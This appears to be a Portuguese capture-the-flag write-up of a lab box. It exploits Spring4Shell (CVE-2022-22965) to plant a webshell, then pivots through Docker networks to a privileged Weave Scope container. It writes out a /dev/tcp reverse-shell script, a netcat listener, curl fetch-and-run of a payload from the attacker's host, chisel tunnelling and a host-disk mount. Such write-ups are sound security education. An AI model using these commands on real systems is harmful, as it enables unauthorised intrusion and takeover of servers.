Inicialmente foi realizada uma varredura de portas para o IP, em busca de serviços com versões expostas e que contenham vulnerabilidades publicas.
Vendo as portas 80,8080 abertas, e foi realizado o acesso a ambas, e possível ver um site para porta 80, e uma mensagem de erro 404 na porta 8080
O erro nos indica se tratar de um Spring boot, então buscamos realizar uma forca bruta de arquivos e diretórios neste host, foi possível identificar o arquivo teste que retorna um hello word ao ser acessado.
Buscamos então por vulnerabilidade e foi possível encontrar o exploit publico de CVE 2022–22965 (Spring4Shell, SpringShell) que é uma vulnerabilidade no Spring Framework usa uma funcionalidade de vinculação de dados para vincular dados armazenados em uma solicitação HTTP a determinados aplicativos por um aplicativo.
O bug existe no método getCachedIntrospectionResults, que pode ser usado para obter não autorizados a tais objetos passando seus nomes de classe por meio de uma solicitação HTTP. Ele cria os riscos de vazamento de dados e execução remota de código de classes de objetos especiais são usados.
Para mais informações acesse o link abaixo: https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
Sabendo do que se trata podemos utilizar o exploit abaixo, que basicamente irá fazer um upload de uma webshell: https://github.com/lunasec-io/Spring4Shell-POC
Executamos o exploit:
Após ele ter feito o upload da webshell, podemos executar comandos remotamente no servidor
Tentamos então “trigar” uma “reverse-shell”, criei um arquivo com o código
1
2
3
4
#!/bin/bash
/bin/bash -c ‘sh -i >& /dev/tcp/ip-vpn/443 0>&1’
Deixei minha maquina executando na porta 443 com o ncat
1
nc -nvlp 443
Abri uma porta 80 com o SimpleHTTPServer do python
1
python2.7 -m SimpleHTTPServer 80
Utilizei o curl para fazer uma requisição para o nosso IP da vpn pegando a nossa payload e executando
1
2
3
curl http://ip-vpn/shell.sh -o /shell.sh
sh /shell.sh
Recebemos a shell
Irei mudar de shell simples para um interativo
1
2
3
4
5
6
python3 -c “import pty;pty.spawn(‘/bin/bash’)”
Ctrl+Z
Write-Up — Spring8stty raw -echo;fg
Enter
export TERM=xterm
Depois foi só pesquisar a primeira flag(não vou evidenciar aqui, por basta somente procurar no host)
Para escalar lateralmente fizemos uma busca no host e foi possível identificar o IP do host 172.17.0.3
Como o servidor não tem o nmap, podemos baixar um nmap estático e em seguida enviaremos para o servidor.
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap
Fizemos um namp na rede para buscar IP ativos, encontramos dois, vamos focar no 172.17.0.2
Realizamos um varredura nesse host e identificamos a porta 4040 aberta
fazendo uma requisição a esta porta podemos notar que se trata de uma aplicação web → Weave Scope, é uma ferramenta de visualização e monitoramento para Docker e Kubernetes Por padrão o Weave scope precisa subir em um docker privilegiado, sabendo disso podemos montar o disco do sistema principal dentro do docker do Weave scope.
Para realizar o pivoting vamos usar a ferramenta chisel
https://github.com/jpillora/chisel
No servidor iremos abrir uma porta 9000 e no cliente apontaremos a conexão do host 172.17.0.2 para essa porta, assim conseguimos acessa localmente.
Podemos ver o terminal do Weave Scope, e com isso listar as partições.
Agora podemos montar a partição na pasta mnt e ter acesso a flag
obs: os ips podem estar diferente em prints pois houve a necessidade de restart do host